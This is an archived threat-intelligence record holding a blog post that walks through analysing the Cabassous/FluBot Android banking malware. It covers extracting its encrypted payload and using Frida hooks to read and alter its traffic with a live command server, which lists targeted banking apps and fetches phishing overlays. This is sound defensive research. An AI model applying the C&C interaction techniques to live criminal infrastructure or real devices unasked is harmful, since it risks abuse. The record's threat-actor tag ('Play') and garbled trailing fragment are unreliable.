{
	"id": "5ae55260-de86-4732-909c-253ed346423b",
	"created_at": "2026-04-06T00:22:07.48476Z",
	"updated_at": "2026-04-10T13:12:09.161803Z",
	"deleted_at": null,
	"sha1_hash": "5c1856df10a1dd772be6de93b19c31845d779b3f",
	"title": "How to analyze mobile malware: a Cabassous/FluBot Case study",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2074164,
	"plain_text": "How to analyze mobile malware: a Cabassous/FluBot Case study\nBy Jeroen Beckers\nPublished: 2021-04-19 · Archived: 2026-04-05 21:23:51 UTC\nThis blogpost explains all the steps I took while analyzing the Cabassous/FluBot malware. I wrote this while analyzing the\nsample and I’ve written down both successful and failed attempts at moving forward, as well as my thoughts/options along\nthe way. As a result, this blogpost is not a writeup of the Cabassous/FluBot malware, but rather a step-by-step guide on how\nyou can examine the malware yourself and what the thought process can be behind examining mobile malware. Finally, it’s\nworth mentioning that all the tools used in this analysis are open-source / free.\nIf you want a straightforward writeup of the malware’s capabilities, there’s an excellent technical write up by ProDaft (pdf)\nand a writeup by Aleksejs Kuprins with more background information and further analysis. I knew these existed before\nwriting this blogpost, but deliberately chose not to read them first as I wanted to tackle the sample ‘blind’.\nOur goal: Intercept communication between the malware sample and the C\u0026C and figure out which applications are\nbeing attacked.\nThe sample\nCabassous/FluBot recently popped up in Europe where it is currently expanding quite rapidly. The sample I examined is\nattacking Spanish mobile banking applications, but German, Italian and Hungarian versions have been spotted recently as\nwell.\nIn this post, we’ll be taking a look at this sample\n( acb38742fddfc3dcb511e5b0b2b2a2e4cef3d67cc6188b29aeb4475a717f5f95 ). I’ve also uploaded this sample to the Malware\nBazar website if you want to follow along.\nThis is live malware\nNote that this is live malware and you should never install this on a device which contains sensitive information.\nStarting with some static analysis\nI usually make the mistake of directly going to dynamic analysis without some recon first, so this time I wanted to start\nthings slow. It also takes some time to reset my phone after it has been infected, so I wanted to get the most out of my first\ninstall by placing Frida hooks where necessary.\nFirst steps\nThe first thing to do is find the starting point of the application, which is listed in the AndroidManifest:\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n\u0026lt; activity android:name = \"com.tencent.mobileqq.MainActivity\" \u003e\n\u003c intent-filter \u003e\n\u003c action android:name = \"android.intent.action.MAIN\" /\u003e\n\u003c category android:name = \"android.intent.category.LAUNCHER\" /\u003e\n\u003c/ intent-filter \u003e\n\u003c/ activity \u003e\n\u003c activity android:name = \"com.tencent.mobileqq.IntentStarter\" \u003e\n\u003c intent-filter \u003e\n\u003c action android:name = \"android.intent.action.MAIN\" /\u003e\n\u003c/ intent-filter \u003e\n\u003c/ activity \u003e\nSo we need to find com.tencent.mobileqq.MainActivity . After opening the sample with Bytecode Viewer, there\nunfortunately isn’t a com.tencent.mobileqq package. There are however a few other interesting things that Bytecode Viewer\nshows:\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\nPage 1 of 14\n\nThere’s a classes-v1.bin file in a folder called ‘dex’. While this file probably contains dex bytecode, it currently\r\nisn’t identified by the file utility and is probably encrypted.\r\nThere is a com.whatsapp package with what appear to be legitimate WhatsApp classes\r\nThere are three top-level packages that are suspicious: n , np and obfuse\r\nThere’s a libreactnativeblob.so which probably belongs to WhatsApp as well\r\nComparing the sample to WhatsApp\r\nSo it seems that the malware authors repackaged the official WhatsApp app and added their malicious functionality. Now\r\nthat we know that, we can compare this sample to the official WhatsApp app and see if any functionality was added in the\r\ncom.whatsapp folder. A good tool for comparing apks is apkdiff.\r\nWhich version to compare to?\r\nI first downloaded the latest version of WhatsApp from the Google Play store, but there were way too many differences\r\nbetween that version and the sample. After digging around the com.whatsapp folder for a bit, I found the AbstractAppShell\r\nclass which contains a version identifier: 2.21.3.19-play-release . A quick google search leads us to apkmirror which has\r\nolder versions for download.\r\nSo let’s compare both versions using apkdiff:\r\n1\r\npython3 apkdiff.py .. /com .whatsapp_2.21.3.19-210319006_minAPI16\\(x86\\)\\(nodpi\\)_apkmirror.com.apk\r\n.. /Cabassous .apk\r\nBecause the malware stripped all the resource files from the original WhatsApp apk, apkdiff identifies 147 files that were\r\nmodified. To reduce this output, I added ‘xml’ to the ignore list of apkdiff.py on line 14:\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 2 of 14\n\n13\r\n14\r\n15\r\nat = \"at/\"\r\nignore = \".*(align|apktool.yml|pak|MF|RSA|SF|bin|so|xml)\"\r\ncount = 0\r\nAfter running apkdiff again, the output is much shorter with only 4 files that are different. All of them differ in their labeling\r\nof try/catch statements and are thus not noteworthy.\r\nSomething’s missing…\r\nIt’s pretty interesting to see that apkdiff doesn’t identify the n , np and obfuse packages. I would have expected them to\r\nshow up as being added in the malware sample, but apparently apkdiff only compares files that exist in both apks.\r\nAdditionally, apkdiff did not identify the encrypted dex file ( classes-v1.bin ). This is because, by default, apkdiff.py\r\nignores files with the .bin extension.\r\nSo to make sure no other files were added, we can run a normal diff on the two smali folders after having used apktool to\r\ndecompile them:\r\n1\r\ndiff -rq Cabassous com.whatsapp_2.21.3.19-210319006_minAPI16\\(x86\\)\\(nodpi\\)_apkmirror.com | grep\r\n-i \"only in Cabassous/smali\"\r\nIt looks like no other classes/packages were added, so we can start focusing on the n , np and obfuse packages.\r\nExamining the obfuscated classes\r\nWe still need to find the com.tencent.mobileqq.MainActivity class and it’s probably inside the encrypted classes-v1.bin\r\nfile. The com.tencent package name also tells us that the application has probably been packaged with the tencent packer.\r\nLet’s use APKiD to see if it can detect the packer:\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 3 of 14\n\nNot much help there; it only tells us that the sample has been obfuscated but it doesn’t say with which packer. Most likely\r\nthe tencent packer was indeed used, but it was then obfuscated with a tool unknown to APKiD.\r\nSo let’s take a look at those three packages that were added ourselves. Our main goal is to find any references to\r\nSystem.load or DexClassLoader , but after scrolling through the files using different decompilers in Bytecode Viewer, I\r\ncouldn’t really find any. The classes use string obfuscation, control flow obfuscation and many of the decompilers are unable\r\nto decompile entire sections of the obfuscated classes.\r\nThere are however quite some imports for Java reflection classes, so the class and method names are probably constructed at\r\nruntime.\r\nWe could tackle this statically, but that’s a lot of work. The unicode names are also pretty annoying, and I couldn’t find a\r\nscript that deobfuscates these, apart from the Pro version of the JEB decompiler. At this point, it would be better to move\r\nonto dynamic analysis and use some create Frida hooks to figure out what’s happening. But there’s one thing we need to\r\nsolve first…\r\nHow is the malicious code triggered?\r\nHow does the application actually trigger the obfuscated functionality? It’s not inside the MainActivity (which doesn’t even\r\nexist yet), which is the first piece of code that will be executed when launching the app. Well, this is a trick that’s often used\r\nby malware to hide functionality or to perform anti-debugging checks before the application actually starts. Before Android\r\ncalls the MainActivity’s onCreate method, all required classes are loaded into memory. After they are loaded in memory,\r\nall Static Initialization Blocks are executed. Any class can have one of these blocks, and they are all executed before the\r\napplication actually starts.\r\nThe application contains many of these static initializers, both in the legitimate com.whatsapp classes and in the obfuscated\r\nclasses:\r\nMost likely, the classes-v1.bin file gets decrypted and loaded in one of the static initialization blocks, so that Android can\r\nthen find the com.tencent.mobileqq.MainActivity and call its onCreate method.\r\nOn to Dynamic Analysis…\r\nThe classes-v1.bin file will need to be decrypted and then loaded. Since we are missing some classes, and since the file is\r\ninside a ‘dex’ folder, it’s a pretty safe bet that it would decrypt to a dex file. That dex file then needs to be loaded using the\r\nDexClassLoader. A tool that’s perfect for the job here is Dexcalibur by @FrenchYeti. Dexcalibur allows us to easily hook\r\nmany interesting functions using Frida and is specifically aimed at apps that use reflection and dynamic loading of classes.\r\nFor my dynamic testing, I’ve installed LineageOS + TWRP on an old Nexus 5, I’ve installed Magisk, MagiskTrustUserCerts\r\nand Magisk Frida Server. I also installed ProxyDroid and configured it to connect to my Burp Proxy. Finally, I installed\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 4 of 14\n\nBurp’s certificate, made sure everything was working and then performed a backup using TWRP. This way, I can easily\r\nrestore my device to a clean state and run the malware sample again and again for the first time. Since the malware doesn’t\r\naffect the /system partition, I only need to restore the /data/ permission. You could use an emulator, but not all malware will\r\nhave x86 binaries and, furthermore, emulators are easily detected. There are certainly drawbacks as well, such as the restore\r\ntaking a few minutes, but it’s currently fast enough for me to not be annoyed by it.\r\nResetting a device is easy with TWRP\r\nMaking and restoring backups is pretty straightforward in TWRP. You first boot into TWRP by executing ‘ adb reboot\r\nrecovery ‘. Each phone also has specific buttons you can press during boot, but using adb is much more nicer and\r\nconsistent.\r\nIn order to create a backup, go to Backup and select the partitions you want to create a backup of. In this case, we should do\r\nSystem , Data and Boot . Slide the slider at the bottom to the right and wait for the backup to finish.\r\nIn order to restore a backup, go to Restore and select the backup you created earlier. You can choose which partitions you\r\nwant to restore and then swipe the slider to the right again.\r\nAfter setting up a device and creating a project, we can start analyzing. Unfortunately, the latest version of Dexcalibur\r\nwasn’t too happy with the SMALI code inside the sample. Some lines have whitespace where it isn’t supposed to be, and\r\nthere are a few illegal constructions using array definitions and goto labels. Both of them were fixed within 24 hours of\r\nreporting which is very impressive!\r\nWhen something doesn’t work…\r\nAlmost all the tools we use in mobile security are free and/or open source. When something doesn’t work, you can either\r\nfind another tool that does the job, or dig into the code and figure out exactly why it’s not working. Even by just reporting an\r\nissue with enough information, you’re contributing to the project and making the tools better for everyone in the future. So\r\ndon’t hesitate to do some debugging!\r\nSo after pulling the latest code (or making some quick hotpatches) we can run the sample using dexcalibur. All hooks will be\r\nenabled by default, and when running the malware Dexcalibur lists all of the reflection API calls that we saw earlier:\r\nWe can see that some visual components are created, which corresponds to what we see on the device, which is the malware\r\nasking for accessibility permissions.\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 5 of 14\n\nAt this point, one of the items in the hooks log should be the dynamic loading of the decrypted dex file. However, there’s no\r\nsuch call and this actually had me puzzled for a little while. I thought maybe there was another bug in Dexcalibur, or maybe\r\nthe sample was using a class or method not covered by Dexcalibur’s default list of hooks, but none of this turns out to be the\r\ncase.\r\nFrida is too late 🙁\r\nFrida scripts only run when the runtime is ready to start executing. At that point, Android will have loaded all the necessary\r\nclasses but hasn’t started execution yet. However, static initializers are run during the initialization of the classes which is\r\nbefore Frida hooks into the Android Runtime. There’s one issue reported about this on the Frida GitHub repository but it\r\nwas closed without any remediation. There are a few ways forward now:\r\nWe manually reverse engineer the obfuscated code to figure out when the dex file is loaded into memory. Usually,\r\nmalware will remove the file from disk as soon as it is loaded in memory. We can then remove the function that\r\nremoves the decrypted dex file and simply pull it from the device.\r\nWe dive into the smali code and modify the static initializers to normal static functions and call all of them from the\r\nMainActivity.onCreate method. However, since the Activity defined in the manifest is inside the encrypted dex file,\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 6 of 14\n\nwe would have to update the manifest as well, otherwise Android would complain that it can’t find the main activity\r\nas it hasn’t been loaded yet. A real chicken/egg problem.\r\nMost (all?) methods can be decompiled by at least one of the decompilers in Bytecode Viewer, and there aren’t too\r\nmany methods, so we could copy everything over to a new Android project and simply debug the application to\r\nfigure out what is happening. We could also trick the new application to decrypt the dex file for us.\r\nBut…. None of that is necessary. While figuring out why the hooks weren’t called, I took a look at the application’s storage\r\nand after the sample has been run once, it actually doesn’t delete the decrypted dex file and simply keeps it in the app folder.\r\nSo we can copy it off the device by moving it to a world-readable location and making the file world-readable as well.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nkali \u003e adb shell\r\nhammerhead:/ $ su\r\nhammerhead:/ # cp /data/data/com.tencent.mobileqq/app_apkprotector_dex /data/local/tmp/classes-v1.bin\r\nhammerhead:/ # chmod 666 /data/local/tmp/classes-v1.bin\r\nhammerhead:/ # exit\r\nhammerhead:/ $ exit\r\nkali \u003e adb pull /data/local/tmp/classes-v1.bin payload.dex\r\n/data/local/tmp/classes-v1.bin: 1 file pulled. 18.0 MB/s (3229988 bytes in 0.171s)\r\nBut now that we’ve got the malware running, let’s take a quick look at Burp. Our goal is to intercept C\u0026C traffic, so we\r\nmight already be done!\r\nWhile we are indeed intercepting C\u0026C traffic, everything seems to be encrypted, so we’re not done just yet.\r\n… and back to static\r\nSince we now have the decrypted dex file, let’s open it up in Bytecode Viewer again:\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 7 of 14\n\nThe payload doesn’t have any real anti-reverse engineering stuff, apart from some string obfuscation. However, all the class\r\nand method names are still there and it’s pretty easy to understand most functionality. Based on the class names inside the\r\ncom.tencent.mobileqq package we can see that the sample can:\r\nPerform overlay attacks ( BrowserActivity.class )\r\nStart different intens ( IntentStarter.class )\r\nLaunch an accessibility service ( MyAccessibilityService.class )\r\nCompose SMS messages ( ComposeSMSActivity )\r\netc…\r\nThe string obfuscation is inside the io.michaelrocks.paranoid package ( Deobfuscator$app$Release.class ) and the\r\nsource code is available online.\r\nAnother interesting class is DGA.class which is responsible for the Domain Generation Algorithm. By using a DGA, the\r\nsample cannot be taken down by sink-holing the C\u0026C’s domain. We could reverse engineer this algorithm, but that’s not\r\nreally necessary as the sample can just do it for us. At this point we also don’t really care which domain it actually ends up\r\nconnecting to. We can actually see the DGA in action in Burp: Before the sample is able to connect to a legitimate C\u0026C it\r\ntries various different domain names (requests 46 – 56), after which it eventually finds a C\u0026C that it likes (requests 57 –\r\n60):\r\nSo the payloads are encrypted/obfuscated and we need to figure out how that’s done. After browsing through the source a\r\nbit, we can see that the class that’s responsible for actually communicating with the C\u0026C is the PanelReq class. There are a\r\nfew methods involving encryption and decryption, but there’s also one method called ‘Send’ which takes two parameters\r\nand contains references to HTTP related classes:\r\n1\r\n2\r\npublic static String Send(String paramString1, String paramString2)\r\n{\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 8 of 14\n\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\ntry\r\n{\r\nHttpCom localHttpCom = new com/tencent/mobileqq/HttpCom;\r\nlocalHttpCom.\u003cinit\u003e();\r\nlocalHttpCom.SetPort( 80 );\r\nlocalHttpCom.SetHost(paramString1);\r\nlocalHttpCom.SetPath(Deobfuscator.app.Release.getString(-37542252460644L));\r\nparamString1 = Deobfuscator.app.Release.getString(-37585202133604L);\r\nWe can be pretty sure that ‘paramString1’ is the hostname which is generated by the DGA. The second string is not\r\nimmediately added to the HTTP request and various cryptographic functions are applied to it first. This is a strong indication\r\nthat paramString2 will not be encrypted when it enters the Send method. Let’s hook the Send method using Frida to see what\r\nit contains.\r\nThe following Frida script contains a hook for the PanelReq.Send() method:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nJava.perform( function (){\r\nvar PanelReqClass = Java.use( \"com.tencent.mobileqq.PanelReq\" );\r\nPanelReqClass.Send.overload( 'java.lang.String' , 'java.lang.String' ).implementation =\r\nfunction (hostname, payload){\r\nconsole.log( \"hostname:\" +hostname);\r\nconsole.log( \"payload:\" +payload);\r\nvar retVal = this .Send(hostname, payload);\r\nconsole.log( \"Response:\" + retVal)\r\nconsole.log( \"------\" );\r\nreturn retVal;\r\n}\r\n});\r\nAdditionally, we can hook the Deobfuscator.app.Release.getString method to figure out which strings are returned after\r\ndecrypting them, but in the end this wasn’t really necessary:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nvar Release = Java.use(\"io.michaelrocks.paranoid.Deobfuscator$app$Release\");\r\nRelease.getString.implementation = function (id){\r\nvar retVal = this.getString(id);\r\nconsole.log(id + \" \u003e \" + retVal);\r\nconsole.log(\"---\")\r\nreturn retVal;\r\n}\r\nMonitoring C\u0026C traffic\r\nAfter performing a reset of the device and launching the sample with Frida and the overloaded Send method, we get the\r\nfollowing output:\r\n1 ...\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 9 of 14\n\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\nhostname:vtcslaabqljbnco[.]com\r\npayload:PREPING,\r\nResponse:null\r\n------\r\nhostname:urqisbcliipfrac[.]com\r\npayload:PREPING,\r\nResponse:null\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:PREPING,\r\nResponse:OK\r\n------\r\nhostname:cjcpldfquycghnf[.]ru\r\npayload:PREPING,\r\nResponse:null\r\n------\r\nResponse:nullhostname:vloxaloyfmdqxti[.]ru\r\npayload:PING,3.4,10,LGE,Nexus 5,en,127,\r\nResponse:\r\n------\r\nhostname:vloxaloyfmdqxti.ru\r\npayload:SMS_RATE\r\nResponse: 10\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:GET_INJECTS_LIST,com.google.android.carriersetup,org.lineageos.overlay.accent.black,com.android.cts.priv.ctsshim,org.line\r\nResponse:\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:LOG,AMI_DEF_SMS_APP,1\r\nResponse:OK\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:GET_SMS\r\nResponse:648516978,Capi: El envio se ha devuelto dos veces al centro mas cercano codigo: AMZIPH1156020\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:GET_SMS\r\nResponse:634689547,No hemos dejado su envio 01101G573629 por estar ausente de su domicilio. Vea las opciones:\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 10 of 14\n\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:GET_SMS\r\nResponse:699579720,Hola, no te hemos localizado en tu domicilio. Coordina la entrega de tu envio 279000650 aqui:\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:LOG,AMI_DEF_SMS_APP,0\r\nResponse:OK\r\n------\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:PING,3.4,10,LGE,Nexus 5,en,197,\r\nResponse:\r\n------\r\n...\r\nSome observations:\r\nThe sample starts with querying different domains until it finds one that answers ‘OK’ (Line 14). This confirms with\r\nwhat we saw in Burp.\r\nIt sends a list of all installed applications to see which applications to attack using an overlay (Line 27). Currently, no\r\ntargeted applications are installed, as the response is empty\r\nMultiple premium text messages are received (Lines 36, 41, 46, …)\r\nPackage names of targeted applications are sometimes included in the apk, or a full list is returned from the C\u0026C and\r\ncompared locally. In this sample that’s not the case and we actually have to start guessing. There doesn’t appear to be a list\r\nof financial applications available online (or at least, I didn’t find any) so I basically copied all the targeted applications from\r\nprevious malware writeups and combined them into one long list. This does not guarantee that we will find all the targeted\r\napplications, but it should give us pretty good coverage.\r\nIn order to interact with the C\u0026C, we can simply modify the Send hook to overwrite the payload. Since the sample is\r\nconstantly polling the C\u0026C, the method is called repeatedly and any modifications are quickly sent to the server:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\nJava.perform( function (){\r\nvar PanelReqClass = Java.use( \"com.tencent.mobileqq.PanelReq\" );\r\nPanelReqClass.Send.overload( 'java.lang.String' , 'java.lang.String' ).implementation =\r\nfunction (hostname, payload){\r\nvar injects= \"GET_INJECTS_LIST,alior.banking[...]zebpay.Application,\"\r\nif (payload.split( \",\" )[0] == \"GET_INJECTS_LIST\" ){\r\npayload=injects\r\n}\r\nconsole.log( \"hostname:\" +hostname);\r\nconsole.log( \"payload:\" +payload);\r\nvar retVal = this .Send(hostname, payload);\r\nconsole.log( \"Response:\" + retVal)\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 11 of 14\n\n13\r\n14\r\n15\r\nconsole.log( \"------\" );\r\nreturn retVal;\r\n}\r\n});\r\nFrida also automatically reloads scripts if it detects a change, so we can simply update the Send hook with new commands to\r\ntry out and it will automatically be picked up.\r\nBased on the very long list of package names I submitted, the following response was returned by the server to say which\r\npackages should be attacked:\r\n-----\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:GET_INJECTS_LIST,alior.banking[...]zebpay.Application\r\nResponse:com.bankinter.launcher,com.bbva.bbvacontigo,com.binance.dev,com.cajasur.android,com.coinbase.android\r\n-----\r\nWhen the sample receives the list of applications to attack, it immediately begins sending the GET_INJECT command to get\r\na HTML page for each targeted application:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n---\r\nhostname:vloxaloyfmdqxti[.]ru\r\npayload:GET_INJECT,es.evobanco.bancamovil\r\nResponse:\u0026lt;!DOCTYPE html\u003e\r\n\u0026lt;html\u003e\r\n\u0026lt;head\u003e\r\n\u0026lt;title\u003eevo\u0026lt;/title\u003e\r\n\u0026lt;link rel=\"shortcut icon\" href=\"es.evobanco.bancamovil.png\" type=\"image/png\"\u003e\r\n\u0026lt;meta charset=\"utf-8\"\u003e\r\n....\r\nIn order to view the different overlays, we can modify the Frida script to save the server’s response to an HTML file:\r\n1\r\n2\r\n3\r\n4\r\n5\r\nif (payload.split( \",\" )[0] == \"GET_INJECT\" ){\r\nvar file = new File( \"/data/data/com.tencent.mobileqq/\" +payload.split( \",\" )[1] +\r\n\".html\" , \"w\" );\r\nfile.write(retVal);\r\nfile.close();\r\n}\r\nWe can then extract them from the device, open them in Chrome, take some screenshots and end up with a nice collage:\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 12 of 14\n\nConclusion\r\nThe sample we examined in this post is pretty basic. The initial dropper made it a little bit difficult, but since the decrypted\r\npayload was never removed from the application folder, it was easy to extract and analyze. The actual payload uses a bit of\r\nstring obfuscation but is very easy to understand.\r\nThe communication with the C\u0026C is encrypted, and by hooking the correct method with Frida we don’t even have to figure\r\nout how the encryption works. If you want to know how it works though, be sure to check out the technical writeups by\r\nProDaft (pdf) and Aleksejs Kuprins.\r\nJeroen Beckers\r\nJeroen Beckers is a mobile security expert working in the NVISO Software Security Assessment team. He travels around the\r\nworld teaching SANS SEC575: iOS and Android Application Security Analysis and Penetration Testing and is a co-author of\r\nOWASP Mobile Application Security (MAS) project, which includes:\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 13 of 14\n\nOWASP Mobile Application Security Testing Guide (MASTG)\r\nOWASP Mobile Application Security Verification Standard (MASVS)\r\nOWASP Mobile Application Security Weakness Enumeration (MASWE)\r\nSource: https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/\r\nPage 14 of 14\n\nfew methods involving and contains references encryption and decryption, to HTTP related but there’s also classes: one method called ‘Send’ which takes two parameters\n1 public static String Send(String paramString1, String paramString2)\n2 {   \n  Page 8 of 14\n\nhttps://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/  \nOWASP Mobile Application Security Testing Guide (MASTG)\nOWASP Mobile Application Security Verification Standard (MASVS)\nOWASP Mobile Application Security Weakness Enumeration (MASWE)\nSource: https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/  \n  Page 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/"
	],
	"report_names": [
		"how-to-analyze-mobile-malware-a-cabassous-flubot-case-study"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434927,
	"ts_updated_at": 1775826729,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/5c1856df10a1dd772be6de93b19c31845d779b3f.pdf",
		"text": "https://archive.orkl.eu/5c1856df10a1dd772be6de93b19c31845d779b3f.txt",
		"img": "https://archive.orkl.eu/5c1856df10a1dd772be6de93b19c31845d779b3f.jpg"
	}
}